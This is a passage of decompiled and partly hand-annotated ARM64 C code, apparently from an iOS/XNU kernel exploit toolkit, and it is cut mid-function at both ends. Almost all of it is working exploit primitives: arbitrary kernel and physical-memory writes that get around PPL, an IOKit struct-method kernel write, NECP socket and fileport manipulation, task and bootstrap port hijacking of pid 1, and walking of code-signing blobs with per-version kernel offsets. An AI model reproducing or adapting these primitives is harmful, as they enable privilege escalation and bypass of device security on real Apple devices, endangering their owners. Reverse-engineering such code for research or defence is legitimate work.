        mach_vm_address_t address,
        __int64 a3,
        mach_vm_size_t size,
        unsigned int a5)
{
  unsigned int v5; // w21
  unsigned int v8; // w24
  __int64 v10; // x25
  unsigned int v11; // w26
  mach_msg_type_number_t v12; // w23
  __int64 result; // x0
  vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-44h] BYREF

  v5 = size;
  if ( a5 )
    v8 = a5;
  else
    v8 = size;
  if ( (uint32_t)size )
  {
    v10 = 0;
    v11 = size;
    while ( 1 )
    {
      v12 = v11 >= v8 ? v8 : v11;
      result = mach_vm_write(target_task, v10 + address, v10 + a3, v12);
      if ( (uint32_t)result )
        break;
      v10 += v12;
      v11 -= v12;
      if ( !v11 )
        goto LABEL_11;
    }
  }
  else
  {
LABEL_11:
    value = 7;
    mach_vm_machine_attribute(target_task, address, v5, 1u, &value);
    return 0;
  }
  return result;
}

//----- (000000000002A8A4) ----------------------------------------------------
__int64 __fastcall pgtable_write_aligned(struct_krwCtx *a1)
{
  __int64 v1; // x19
  kern_return_t v3; // w0
  __int64 v5; // x21
  unsigned __int64 v6; // x23
  __int128 v7; // q0
  mach_port_name_t iin_name; // w1
  kern_return_t attributes; // w0
  mach_port_name_t v10; // w2
  unsigned __int64 v11; // x0
  kern_return_t v12; // w0
  mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-B4h] BYREF
  integer_t port_info_out[4]; // [xsp+10h] [xbp-B0h] BYREF
  __int128 v15; // [xsp+20h] [xbp-A0h]
  __int128 v16; // [xsp+30h] [xbp-90h]
  __int128 v17; // [xsp+40h] [xbp-80h]
  int v18; // [xsp+50h] [xbp-70h]
  mach_msg_type_number_t tree_infoCnt; // [xsp+54h] [xbp-6Ch] BYREF
  ipc_info_tree_name_array_t tree_info; // [xsp+58h] [xbp-68h] BYREF
  mach_msg_type_number_t table_infoCnt; // [xsp+64h] [xbp-5Ch] BYREF
  ipc_info_name_array_t table_info; // [xsp+68h] [xbp-58h] BYREF
  ipc_info_space_t space_info; // [xsp+70h] [xbp-50h] BYREF
  mach_port_name_t v24; // [xsp+8Ch] [xbp-34h] BYREF

  if ( !a1 )
    return 708609;
  if ( bootstrap_port + 1 > 1 )
    return 0;
  v1 = 163843;
  v24 = 0;
  if ( krw_task_for_pid((__int64)a1, 1, &v24) )
  {
    memset(&space_info, 0, sizeof(space_info));
    table_info = 0;
    table_infoCnt = 0;
    tree_info = 0;
    tree_infoCnt = 0;
    v3 = mach_port_space_info(v24, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt);
    if ( v3 )
    {
      v1 = v3 | 0x80000000;
    }
    else if ( table_infoCnt )
    {
      v5 = 0;
      v6 = 0;
      v7 = 0u;
      while ( 1 )
      {
        v18 = 0;
        v16 = v7;
        v17 = v7;
        *(__int128 *)port_info_out = v7;
        v15 = v7;
        port_info_outCnt = 17;
        if ( (table_info[v5].iin_type & 0x1F0000) != 0 )
        {
          iin_name = table_info[v5].iin_name;
          if ( iin_name + 1 >= 2 )
          {
            attributes = mach_port_get_attributes(v24, iin_name, 7, port_info_out, &port_info_outCnt);
            v7 = 0u;
            if ( !attributes && port_info_out[3] == 128 && (~BYTE4(v16) & 6) == 0 )
              break;
          }
        }
        ++v6;
        ++v5;
        if ( v6 >= table_infoCnt )
          goto LABEL_8;
      }
      v10 = table_info[v5].iin_name;
      if ( v10 + 1 >= 2 )
      {
        v11 = task_get_ipc_port(a1, v24, v10);
        if ( v11 )
        {
          v1 = plist_elem_is_string_6(a1, v11, &bootstrap_port);
          if ( !(uint32_t)v1 )
          {
            v12 = task_set_special_port(mach_task_self_, 4, bootstrap_port);
            if ( v12 )
              v1 = v12 | 0x80000000;
            else
              v1 = 0;
          }
        }
      }
    }
LABEL_8:
    if ( table_info && table_infoCnt )
      mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)table_info, 28LL * table_infoCnt);
    if ( tree_info && tree_infoCnt )
      mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)tree_info, 36LL * tree_infoCnt);
    mach_port_deallocate(mach_task_self_, v24);
  }
  return v1;
}

//----- (000000000002AABC) ----------------------------------------------------
__int64 __fastcall semaphore_timedwait_ns(__int64 a1, unsigned int a2)
{
  mach_timespec_t v2; // x1

  v2 = IDA_MACH_TIMESPEC((a2 / 0xF4240uLL) & 0x7FFFFFFFFLL
                       | ((unsigned __int64)((125 * (a2 % 0xF4240)) & 0x1FFFFFFF) << 35));
  if ( semaphore_timedwait(*(uint32_t *)(a1 + 612), v2) == 49 )
    return 0;
  else
    return 0xFFFFFFFFLL;
}

//----- (000000000002AB10) ----------------------------------------------------
__int64 vtable_trampoline_b()
{
  return 0LL;
}

//----- (000000000002AB18) ----------------------------------------------------
__int64 __fastcall necp_socket_fileport_setup(__int64 a1)
{
  __int64 v1; // x22
  int v3; // w0
  int v4; // w20
  int v5; // w21
  int v6; // w8
  int v7; // w21
  bool v8; // zf
  int v9; // w20
  __int64 v10; // x8
  int v12; // w19
  int v13; // w8
  struct sockaddr v14; // [xsp+0h] [xbp-50h] BYREF
  __int128 v15; // [xsp+10h] [xbp-40h]
  __int64 v16; // [xsp+20h] [xbp-30h] BYREF
  mach_port_t v17; // [xsp+2Ch] [xbp-24h]

  v1 = *(uint64_t *)(a1 + 40);
  if ( !v1 )
    return 0;
  v17 = 0;
  v3 = socket(32, 2, 2);
  v4 = v3;
  if ( v3 < 0
    || (v14 = (struct sockaddr){0}, v15 = 0u, *(uint32_t *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u))
    || (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() )
  {
    v5 = errno;
    v6 = errno;
    if ( v5 < 0 )
      v6 = -v6;
    v7 = v6 | 0x40000000;
    goto LABEL_8;
  }
  v7 = get_task_bsd_info_kaddr((struct_krwCtx *)a1, v17, &v16);
  if ( !v7 )
  {
    v7 = 163855;
    if ( kread_physmap_decorated((struct_krwCtx *)a1, v16 + 16, (unsigned __int64 *)&v16) )
    {
      if ( !validate_kaddr_range(a1, v16) )
        goto LABEL_40;
      if ( kread_physmap_decorated((struct_krwCtx *)a1, v16 + 48, (unsigned __int64 *)&v16) )
      {
        if ( validate_kaddr_range(a1, v16) )
        {
          v7 = 0;
          *(uint32_t *)(v1 + 16) = v4;
          *(uint64_t *)(v1 + 24) = v16;
          goto LABEL_8;
        }
LABEL_40:
        v7 = 163878;
      }
    }
  }
LABEL_8:
  if ( v17 + 1 >= 2 )
  {
    mach_port_deallocate(mach_task_self_, v17);
    v17 = 0;
  }
  if ( v7 )
    v8 = v4 == -1;
  else
    v8 = 1;
  if ( !v8 )
  {
    close(v4);
    *(uint32_t *)(v1 + 60) = v7;
LABEL_26:
    semaphore_signal(*(uint32_t *)(v1 + 12));
    return 0;
  }
  *(uint32_t *)(v1 + 60) = v7;
  if ( v7 )
    goto LABEL_26;
  v9 = 708609;
  while ( !(unsigned int)__semwait_signal() )
  {
    if ( *(uint8_t *)(v1 + 56) )
    {
      v9 = 0;
      goto LABEL_38;
    }
    v10 = *(uint64_t *)(v1 + 32);
    if ( !v10 || !*(uint64_t *)(v1 + 40) || *(uint64_t *)(v1 + 48) != 8 )
      goto LABEL_38;
    *(uint64_t *)&v14.sa_len = v10 - 48;
    if ( noppl_kwritebuf(a1, *(uint64_t *)(v1 + 24) + 8LL, &v14, *(unsigned int *)(a1 + 360), 1) )
    {
      v16 = **(uint64_t **)(v1 + 40);
      if ( setsockopt(*(uint32_t *)(v1 + 16), 2, 16, &v16, 8u) )
        break;
      *(uint64_t *)&v14.sa_len = 0;
      if ( noppl_kwritebuf(a1, *(uint64_t *)(v1 + 24) + 8LL, &v14, *(unsigned int *)(a1 + 360), 1) )
        continue;
    }
    v9 = 163856;
    goto LABEL_38;
  }
  v12 = errno;
  v13 = errno;
  if ( v12 < 0 )
    v13 = -v13;
  v9 = v13 | 0x40000000;
LABEL_38:
  *(uint32_t *)(v1 + 60) = v9;
  if ( !*(uint8_t *)(v1 + 56) )
    goto LABEL_26;
  return 0;
}

//----- (000000000002AD98) ----------------------------------------------------
__int64 __fastcall semaphore_wait_wrapper(semaphore_t a1)
{
  semaphore_wait(a1);
  return 0;
}

//----- (000000000002ADB4) ----------------------------------------------------
__int64 __fastcall semaphore_mem_acquire_thread(__int64 a1)
{
  semaphore_t v2; // w19
  pthread_mutex_t *v3; // x20
  __int64 v4; // x26
  char v5; // w25
  char v6; // w8
  unsigned int v7; // w27
  __int64 v8; // x22
  unsigned int v9; // w0
  unsigned int v10; // w23
  __int64 v11; // x8
  __int64 v12; // x24
  __int64 v13; // x23
  __int64 v14; // x28
  __int64 v15; // x8
  vm_address_t v16; // x8
  vm_size_t v17; // x24
  mem_entry_name_port_t v18; // w5
  vm_offset_t v19; // x6
  unsigned __int64 v20; // x9
  vm_size_t v21; // x23
  vm_address_t address; // [xsp+18h] [xbp-58h] BYREF

  v2 = *(uint32_t *)(a1 + 136);
  v3 = (pthread_mutex_t *)(a1 + 32);
  v4 = *(uint64_t *)(a1 + 104);
  if ( !v4 )
  {
    v5 = 0;
    v6 = 0;
    v7 = 0;
    v8 = *(uint64_t *)a1;
    while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) )
    {
      if ( v7 )
        thread_switch(0, 2, 1u);
      if ( pthread_mutex_lock(v3) )
      {
        ++*(uint32_t *)(a1 + 120);
        goto LABEL_40;
      }
      if ( !*(uint64_t *)(a1 + 104) )
      {
        v9 = get_page_size();
        if ( v9 < *(uint32_t *)(a1 + 16) )
        {
          v10 = v9;
          v11 = *(uint64_t *)(*(uint64_t *)(a1 + 8) + 8LL * v9);
          if ( v11 )
          {
            v12 = *(uint64_t *)(v11 + *(unsigned int *)(a1 + 20));
            if ( validate_kaddr_range(v8, v12) )
            {
              if ( v10 == (unsigned int)get_page_size() )
              {
                v13 = v12 + *(unsigned int *)(a1 + 96);
                v14 = v13 & ~*(uint64_t *)(v8 + 392);
                v15 = *(uint64_t *)(a1 + 24);
                if ( v15 && v14 == v15 )
                  break;
                if ( !check_kaddr_in_physmap((struct_krwCtx *)v8, v12 + *(unsigned int *)(a1 + 96)) )
                {
LABEL_37:
                  *(uint64_t *)(a1 + 24) = v14;
                  break;
                }
                v16 = *(uint64_t *)(v8 + 144);
                if ( !v16 || (v17 = *(uint64_t *)(v8 + 152)) == 0 )
                {
                  address = 0;
                  v18 = *(uint32_t *)(v8 + 88);
                  if ( v18 + 1 < 2 )
                    goto LABEL_37;
                  v19 = *(uint64_t *)(v8 + 128);
                  if ( !v19 )
                    goto LABEL_37;
                  v17 = *(unsigned int *)(v8 + 136);
                  if ( !(uint32_t)v17 || vm_map(mach_task_self_, &address, v17, 0, 1, v18, v19, 0, 1, 1, 1u) )
                    goto LABEL_37;
                  v16 = address;
                  *(uint64_t *)(v8 + 144) = address;
                  *(uint64_t *)(v8 + 152) = v17;
                }
                v20 = 0;
                while ( !*(uint32_t *)(v16 + (unsigned int)(v20 + 32))
                     || *(uint64_t *)(v16 + (unsigned int)(v20 + 24)) != v14 )
                {
                  v20 += 48LL;
                  if ( v17 <= (unsigned int)v20 )
                    goto LABEL_37;
                }
                v21 = (*(uint64_t *)(v8 + 392) & v13)
                    + ((((*(uint64_t *)(v8 + 128) + *(unsigned int *)(v8 + 136) + vm_page_size - 1)
                       & -(__int64)vm_page_size) >> vm_page_shift)
                     + v20 / 0x30)
                    * vm_page_size;
                *(uint64_t *)(a1 + 104) = pthread_self();
                *(uint64_t *)(a1 + 112) = v21;
                v5 = 1;
              }
            }
          }
        }
      }
      if ( !*(uint64_t *)(a1 + 104) )
      {
        v6 = 1;
        if ( v7++ < 0xF )
          continue;
      }
      goto LABEL_3;
    }
    ++*(uint32_t *)(a1 + 120);
    goto LABEL_39;
  }
  v5 = 0;
LABEL_3:
  ++*(uint32_t *)(a1 + 120);
  if ( !v4 )
LABEL_39:
    pthread_mutex_unlock(v3);
LABEL_40:
  if ( (v5 & 1) != 0 )
    semaphore_wait(v2);
  return 0;
}

//----- (000000000002B03C) ----------------------------------------------------
__int64 __fastcall ulock_wait_loop(__int64 a1)
{
  unsigned int v2; // w21
  int v3; // w0

  __error();
  v2 = 0;
  *(uint8_t *)(a1 + 73) = 1;
  while ( 1 )
  {
    v3 = __ulock_wait(0x10001u, (void *)(a1 + 52), 0, *(uint32_t *)(a1 + 52));
    if ( !v3 )
    {
      ++*(uint64_t *)(a1 + 64);
      goto LABEL_10;
    }
    if ( v3 == -1 && errno == 4 && v2++ < 0x64 )
      continue;
    if ( errno != 14 )
      return 0;
LABEL_10:
    v2 = 0;
    if ( *(uint8_t *)(a1 + 72) )
      return 0;
  }
}

//----- (000000000002B0E8) ----------------------------------------------------
kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3)
{
    // [x0+0x1d48] = pointer to IOKit connection info struct
    struct_IOKitConnInfo *connInfo = krwCtx->IOKitConnInfo; // [krwCtx+0x1d48]
    if (!connInfo)
        return 0xAD001;  // 708609: no connection

    // w26 = 0x20026 = base error code
    // w21 = connection port (dword at +0x70)
    mach_port_t ioPort = connInfo->ioPort;     // [connInfo+0x70]
    if ((uint32_t)(ioPort + 1) < 2)
        return 0x20026 - 0x1e;  // 0x20008 = 131080: invalid port

    uint64_t qword58 = connInfo->qword58;      // slot table base or similar
    if (!qword58)  return 0x20026;             // 131110
    uint64_t qword60 = connInfo->qword60;      // paddr target 1
    if (!qword60)  return 0x20026;
    uint64_t qword68 = connInfo->qword68;      // x27: some pointer/table
    if (!qword68)  return 0x20026;
    uint64_t qword50 = connInfo->qword50;      // x8: used in inputStruct
    if (!qword50)  return 0x20026 - 0x15;      // 0x20011 = 131089

    // --- Build inputStruct at [sp+0x138], size 0x100 ---
    // Zero entire 0x100-byte region first (the stur q0 block)
    uint8_t inputStruct[0x100];
    memset(inputStruct, 0, sizeof(inputStruct));
    *(uint32_t *)&inputStruct[0] = 0x80;  // str w10,[sp+0x138] = 128

    // Version-dependent field offsets within inputStruct
    // csel chain: if xnuMajorVersion > 0x225B: offsets +8 each
    uint64_t vm_pgsz = vm_page_size;           // x9 = vm_page_size global
    int off0, off1, off2, off3;
    if (krwCtx->xnuMajorVersion > 0x225B) {
        off0 = 0x30; off1 = 0x38; off2 = 0x40; off3 = 0x48;
    } else {
        off0 = 0x28; off1 = 0x30; off2 = 0x38; off3 = 0x40;
    }
    *(uint64_t *)&inputStruct[off0] = vm_pgsz;  // str x9,[x15,x10]
    *(uint64_t *)&inputStruct[off1] = qword50;  // str x8,[x15,x12]
    *(uint64_t *)&inputStruct[off2] = qword50;  // str x8,[x15,x13]
    *(uint64_t *)&inputStruct[off3] = vm_pgsz;  // str x9,[x15,x14]

    // outputStruct at [sp+0x30], size 0x100
    uint8_t outputStruct[0x100];
    memset(outputStruct, 0, sizeof(outputStruct));
    size_t outputStructCnt = 0x100;

    kern_return_t kr = IOConnectCallStructMethod(
        ioPort, 9,
        inputStruct, 0x100,
        outputStruct, &outputStructCnt);
    if (kr)
        return kr | 0x80000000;

    // Result field at outputStruct[0x1c] (sp+0x4c = sp+0x30+0x1c)
    uint32_t result_idx = *(uint32_t *)&outputStruct[0x1c];  // w28

    // Validate: result_idx must be in [1, 0x3ff]
    if ((uint32_t)(result_idx - 1) > 0x3FE)
        return 0x20026 - 0x15;  // 131089

    // kreadbuf: read one element from qword68 table at result_idx
    // stride = krwCtx->stride168 (ldrsw = signed word)
    int32_t  stride  = krwCtx->stride168;  // [krwCtx+0x168]
    uint64_t tbl_ptr = qword68 + (uint32_t)(stride * result_idx);
    uint64_t kaddr   = 0;

    if (!kreadbuf_universal(krwCtx, tbl_ptr, stride, &kaddr, 0))
        return 0x20026 - 0x17;  // 0x2000F = 131087

    // w26 updated: w26 = 0x20026 - 0x17 = 0x2000F (used as error below)

    // Translate/canonicalize kaddr
    kaddr = maybe_sptm_translate_kaddr(krwCtx, kaddr);

    if (!validate_kaddr_range(krwCtx, kaddr))
        return 0x20026;  // 131110

    // Get physical address of kaddr+0x10
    uint64_t paddr1 = kaddr_to_phys_v2(krwCtx, kaddr + 0x10, 0);
    if (!paddr1)
        return 0x20026;

    // Check if kaddr+0x10 and kaddr+0x78 are in same physical page
    // bics xzr, ((kaddr+0x10)^(kaddr+0x78)), ~krwCtx->page_mask
    // b.eq → same page (no second kaddr_to_phys_v2 needed)
    uint64_t paddr2;
    if (((kaddr + 0x10) ^ (kaddr + 0x78)) & ~krwCtx->pageMask) {
        // Different pages — get separate paddr for kaddr+0x78
        paddr2 = kaddr_to_phys_v2(krwCtx, kaddr + 0x78, 0);  // x1 used at +548
        if (!paddr2)
            return 0x20026;
        // paddr2 stored at [sp+0x0]
    } else {
        // Same page — kaddr+0x78 = paddr1 + 0x68
        paddr2 = paddr1 + 0x68;
        // stored at [sp+0x0]
    }

    // Write 0 to paddr1 (4 bytes) using appropriate physical write method
    uint32_t zero_val = 0;
    uint64_t version_threshold = XNU_VERSION_PACKED(10002, 60, 75, 0, 3);
    if (krwCtx->xnuVersionPacked >= version_threshold
        && (*(uint8_t *)krwCtx & 0x20)) {  // tbnz w8, #5 → bit 5 of krwCtx[0]
        kr = physwritebuf_direct_mapped(krwCtx, paddr1, &zero_val, 4, 0);
    } else {
        kr = dmaFail_physwritebuf_ppl(krwCtx, paddr1, &zero_val, 4);
    }
    if (kr) return kr;

    // Read 8 bytes from vaddr
    uint64_t vaddr_val = 0;
    if (!kreadbuf_universal(krwCtx, vaddr, 8, &vaddr_val, 0))
        return 0x2000F;  // 131087

    // Write (vaddr_val - a3) to paddr2
    kr = physwrite64_maybe(krwCtx, paddr2, vaddr_val - a3);
    if (kr) return kr;

    // Write vaddr to qword60
    kr = physwrite64_maybe(krwCtx, qword60, vaddr);
    if (kr) return kr;

    // IOConnectCallScalarMethod(ioPort, 10, &result_idx, 1, NULL, NULL)
    uint64_t scalar_in = result_idx;
    IOConnectCallScalarMethod(ioPort, 10, &scalar_in, 1, NULL, NULL);

    // Final: restore qword60 → qword58
    return physwrite64_maybe(krwCtx, qword60, qword58);
}
// 2B3CC: variable 'v23' is possibly undefined
// 2B400: variable 'v24' is possibly undefined
// 2B418: variable 'v25' is possibly undefined
// 2B450: variable 'v26' is possibly undefined

//----- (000000000002B464) ----------------------------------------------------
__int64 __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1)
{
  __int64 value; // [xsp+8h] [xbp-8h] BYREF

  value = value_1;
  if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
    return physwritebuf_direct_mapped(krwCtx, paddr, &value, 8u, 0);
  else
    return dmaFail_physwritebuf_ppl((__int64)krwCtx, paddr, &value, 8u);
}

//----- (000000000002B4C8) ----------------------------------------------------
__int64 __fastcall dmaFail_physwritebuf_ppl(__int64 a1, __int64 paddr, uint64_t *data, unsigned int size)
{
  vm_size_t v4; // x19
  __int64 result; // x0
  vm_size_t v9; // x23
  __int64 v10; // x8
  void *v11; // x1
  void *__dst; // [xsp+8h] [xbp-38h] BYREF

  __dst = 0;
  v4 = vm_page_size;
  if ( paddr + (unsigned __int64)size > (-(__int64)vm_page_size & paddr) + vm_page_size )
    return 708609;
  v9 = vm_page_mask;
  result = physmap_maybe(a1, (vm_address_t *)&__dst, vm_page_size, paddr);
  if ( !(uint32_t)result )
  {
    v10 = v9 & paddr;
    if ( size == 8 )
    {
      v11 = __dst;
      *(uint64_t *)((char *)__dst + v10) = *data;
    }
    else if ( size == 4 )
    {
      v11 = __dst;
      *(uint32_t *)((char *)__dst + v10) = *(uint32_t *)data;
    }
    else
    {
      memcpy(__dst, data, size);
      v11 = __dst;
    }
    vm_deallocate(mach_task_self_, (vm_address_t)v11, v4);
    return 0;
  }
  return result;
}

//----- (000000000002B5BC) ----------------------------------------------------
__int64 __fastcall necp_ioservice_auth_write(__int64 a1, __int64 a2)
{
  unsigned int v4; // w22
  unsigned int v5; // w0
  __int64 v6; // x19
  unsigned __int64 v7; // x0
  mach_vm_address_t someKernelAddress; // x23
  unsigned int v9; // w0
  unsigned int v10; // w24
  int v11; // w0
  int is_the_kwrite64; // w0
  unsigned int v13; // w8
  __int64 v15; // [xsp+8h] [xbp-38h] BYREF

  v4 = *(uint32_t *)(a1 + 16);
  if ( v4 + 1 <= 1 )
  {
    v5 = (unsigned int)ioservice_get_matching("AppleSEPManager");
    if ( v5 + 1 < 2 )
      return 708625;
    v4 = v5;
    *(uint32_t *)(a1 + 16) = v5;
  }
  v6 = 163856;
  v7 = *(uint64_t *)(a1 + 24);
  if ( !v7 )
  {
    v7 = get_task_kobject_addr((struct_krwCtx *)a1, v4);
    if ( !v7 )
      return 163854;
    *(uint64_t *)(a1 + 24) = v7;
  }
  if ( *(uint64_t *)(a1 + 32) )
  {
    v15 = *(uint64_t *)(a1 + 32);
    someKernelAddress = v7 + 40;
  }
  else
  {
    someKernelAddress = v7 + 40;
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v7 + 40, (unsigned __int64 *)&v15) )
      return 163855;
    *(uint64_t *)(a1 + 32) = v15;
  }
  if ( kwrite64_last_arg((struct_krwCtx *)a1, someKernelAddress, a2, 0) )
  {
    v9 = _IOServiceSetAuthorizationID();
    v10 = v9;
    if ( v9 )
    {
      if ( v9 != 53 )
      {
        v10 = v9 & 0xFFF | 0x70000000;
        goto LABEL_25;
      }
      if ( *(uint8_t *)(a1 + 12) )
      {
        *(uint8_t *)(a1 + 12) = 0;
        v10 = refresh_target_task_port(a1, mach_task_self_, 0, 0);
        *(uint8_t *)(a1 + 12) = 1;
        if ( v10 )
          goto LABEL_25;
      }
      else
      {
        v10 = refresh_target_task_port(a1, mach_task_self_, 0, 0);
        if ( v10 )
          goto LABEL_25;
      }
      v11 = _IOServiceSetAuthorizationID();
      if ( v11 )
        v10 = v11 & 0xFFF | 0x70000000;
      else
        v10 = 0;
    }
LABEL_25:
    is_the_kwrite64 = kwrite64_last_arg((struct_krwCtx *)a1, someKernelAddress, v15, 0);
    if ( v10 )
      v13 = v10;
    else
      v13 = 163856;
    if ( is_the_kwrite64 )
      return v10;
    else
      return v13;
  }
  return v6;
}

//----- (000000000002B788) ----------------------------------------------------
__int64 __fastcall posix_spawn_with_sigdefault(const char **a1)
{
  __int64 v1; // x19
  __int64 v3; // x20
  pid_t v5; // w0
  unsigned int v6; // w9
  int v7; // [xsp+0h] [xbp-30h] BYREF
  pid_t v8; // [xsp+4h] [xbp-2Ch] BYREF
  posix_spawn_file_actions_t v9; // [xsp+8h] [xbp-28h] BYREF
  sigset_t v10; // [xsp+14h] [xbp-1Ch] BYREF
  posix_spawnattr_t v11; // [xsp+18h] [xbp-18h] BYREF

  v1 = 708619;
  v11 = 0;
  v9 = 0;
  v7 = -1;
  v8 = -1;
  if ( !a1 || !*a1 || !**a1 )
    return 708609;
  if ( !posix_spawnattr_init(&v11) )
  {
    v10 = -1;
    if ( !posix_spawnattr_setflags(&v11, 7)
      && !posix_spawnattr_setsigdefault(&v11, &v10)
      && !posix_spawnattr_setpgroup(&v11, 0)
      && !posix_spawn_file_actions_init(&v9) )
    {
      if ( posix_spawn_file_actions_addopen(&v9, 0, "/dev/null", 0x20000, 0)
        || posix_spawn_file_actions_addopen(&v9, 1, "/dev/null", 131585, 0)
        || posix_spawn_file_actions_addopen(&v9, 2, "/dev/null", 131585, 0)
        || posix_spawn(&v8, *a1, &v9, &v11, (char *const *)a1, 0) )
      {
        v3 = 708619;
      }
      else
      {
        v3 = 708619;
        do
        {
          v5 = waitpid(v8, &v7, 0);
          if ( v5 == v8 )
          {
            if ( v5 != -1 )
              goto LABEL_26;
            v3 = 0;
          }
          else
          {
            if ( v5 != -1 )
              break;
            __error();
          }
        }
        while ( errno == 4 );
        if ( (uint32_t)v3 )
          goto LABEL_14;
LABEL_26:
        if ( (v7 & 0xFF00) != 0 )
          v6 = 708619;
        else
          v6 = 0;
        if ( (v7 & 0x7F) != 0 )
          v3 = 708619;
        else
          v3 = v6;
      }
LABEL_14:
      posix_spawn_file_actions_destroy(&v9);
      v1 = v3;
    }
    posix_spawnattr_destroy(&v11);
  }
  return v1;
}

//----- (000000000002B94C) ----------------------------------------------------
unsigned __int64 __fastcall walk_task_csblob_chain(
        struct_krwCtx *a1,
        unsigned int a2,
        __int64 *a3,
        unsigned __int8 a4,
        unsigned __int64 *a5)
{
  unsigned __int64 result; // x0
  unsigned __int64 v10; // x23
  unsigned __int64 v12; // x1
  int v13; // w8
  __int64 v14; // x1
  int v15; // w20
  __int64 v16; // x2
  unsigned __int64 xnuVersionPacked; // x9
  __int64 v18; // x8
  bool v19; // cc
  unsigned __int64 v20; // x9
  __int128 *v21; // x10
  unsigned __int64 v22; // x8
  int v24; // w8
  unsigned int v25; // [xsp+0h] [xbp-150h] BYREF
  unsigned int v26; // [xsp+4h] [xbp-14Ch] BYREF
  __int64 address; // [xsp+8h] [xbp-148h] BYREF
  unsigned __int64 v28; // [xsp+10h] [xbp-140h] BYREF
  __int64 v29; // [xsp+18h] [xbp-138h] BYREF
  unsigned __int64 v30; // [xsp+20h] [xbp-130h] BYREF
  __int64 v31; // [xsp+28h] [xbp-128h] BYREF
  __int128 v32; // [xsp+30h] [xbp-120h] BYREF
  __int128 v33; // [xsp+40h] [xbp-110h]
  __int128 v34; // [xsp+50h] [xbp-100h] BYREF
  __int128 v35[9]; // [xsp+60h] [xbp-F0h] BYREF
  __int64 v36; // [xsp+F0h] [xbp-60h]

  v30 = 0;
  v31 = 0;
  v28 = 0;
  v29 = 0;
  address = 0;
  result = kread_task_struct(a1, a2);
  if ( !result )
    return result;
  v10 = result;
  if ( !(unsigned int)get_csblob_offset_pair((__int64)a1, (int *)&v31 + 1, (int *)&v31) )
    return 0;
  if ( !kread_physmap_decorated(a1, v10 + HIDWORD(v31), &v30) || v30 == 0 )
    return 0;
  if ( !a3 )
  {
    if ( (unsigned int)krw_read_thunk(a1, v10 + (unsigned int)v31, 8, &v29) )
      goto LABEL_10;
    return 0;
  }
  v29 = *a3;
LABEL_10:
  if ( !(unsigned int)get_csblob_size_pair((__int64)a1, &v26, &v25) || !kread_physmap_decorated(a1, v30 + v26, &v28) || !v28 )
    return 0;
  v12 = v28 + v25;
  if ( a5 )
    *a5 = v12;
  v13 = kread_physmap_decorated(a1, v12, (unsigned __int64 *)&address);
  result = 0;
  if ( v13 )
  {
    v14 = address;
    if ( address )
    {
      v15 = a4 & (a3 == 0);
      while ( 1 )
      {
        v36 = 0;
        v34 = 0u;
        memset(v35, 0, sizeof(v35));
        v16 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 48LL : 64LL;
        v32 = 0u;
        v33 = 0u;
        if ( !(unsigned int)krw_read_thunk(a1, v14, v16, &v32) )
          break;
        xnuVersionPacked = a1->xnuVersionPacked;
        v18 = *((uint64_t *)&v33 + 1);
        if ( xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v18 = *((uint64_t *)&v34 + 1);
        if ( v15 )
        {
          if ( (unsigned __int64)(v18 - 0x20000000) <= 0x7FE0000000LL )
            return address;
        }
        else
        {
          v19 = xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
          if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
            v20 = *((uint64_t *)&v34 + 1);
          else
            v20 = *((uint64_t *)&v35[0] + 1);
          v21 = v35;
          if ( !v19 )
            v21 = &v34;
          v22 = v29 - v18;
          if ( v22 >= *(uint64_t *)v21 && v22 < v20 )
            return address;
        }
        v24 = kread_physmap_decorated(a1, address, (unsigned __int64 *)&address);
        result = 0;
        if ( v24 )
        {
          v14 = address;
          if ( address )
            continue;
        }
        return result;
      }
      return 0;
    }
  }
  return result;
}

//----- (000000000002BBA4) ----------------------------------------------------
__int64 __fastcall get_csblob_offset_pair(__int64 a1, int *a2, int *a3)
{
  __int64 result; // x0
  int v5; // w9
  int v7; // w8
  int v8; // w9
  unsigned __int64 v9; // x8

  result = 0LL;
  v5 = *(uint32_t *)(a1 + 320);
  if ( v5 <= 8019 )
  {
    switch ( v5 )
    {
      case 6153:
        v7 = 576;
        v8 = 568;
        break;
      case 7195:
        v7 = 552;
        v8 = 544;
        break;
      case 8019:
        v9 = *(uint64_t *)(a1 + 344);
        if ( v9 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v8 = 680;
        else
          v8 = 856;
        if ( v9 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v7 = 688;
        else
          v7 = 864;
        break;
      default:
        return result;
    }
    goto LABEL_26;
  }
  if ( v5 <= 8795 )
  {
    if ( v5 != 8020 && v5 != 8792 )
      return result;
    v7 = 856;
    v8 = 848;
LABEL_26:
    *a2 = v8;
    *a3 = v7;
    return 1LL;
  }
  if ( v5 == 8796 || v5 == 10002 )
  {
    v7 = 1360;
    v8 = 1352;
    goto LABEL_26;
  }
  return result;
}

//----- (000000000002BC80) ----------------------------------------------------
__int64 __fastcall get_csblob_size_pair(__int64 a1, uint32_t *a2, uint32_t *a3)
{
  __int64 result; // x0
  int v5; // w8
  bool v6; // zf
  int v7; // w9

  result = 0LL;
  v5 = *(uint32_t *)(a1 + 320);
  if ( v5 > 8791 )
  {
    v6 = v5 == 8792 || v5 == 10002;
    v7 = 8796;
  }
  else
  {
    v6 = (unsigned int)(v5 - 8019) < 2 || v5 == 6153;
    v7 = 7195;
  }
  if ( v6 || v5 == v7 )
  {
    if ( a2 )
      *a2 = 120;
    if ( a3 )
      *a3 = 80;
    return 1LL;
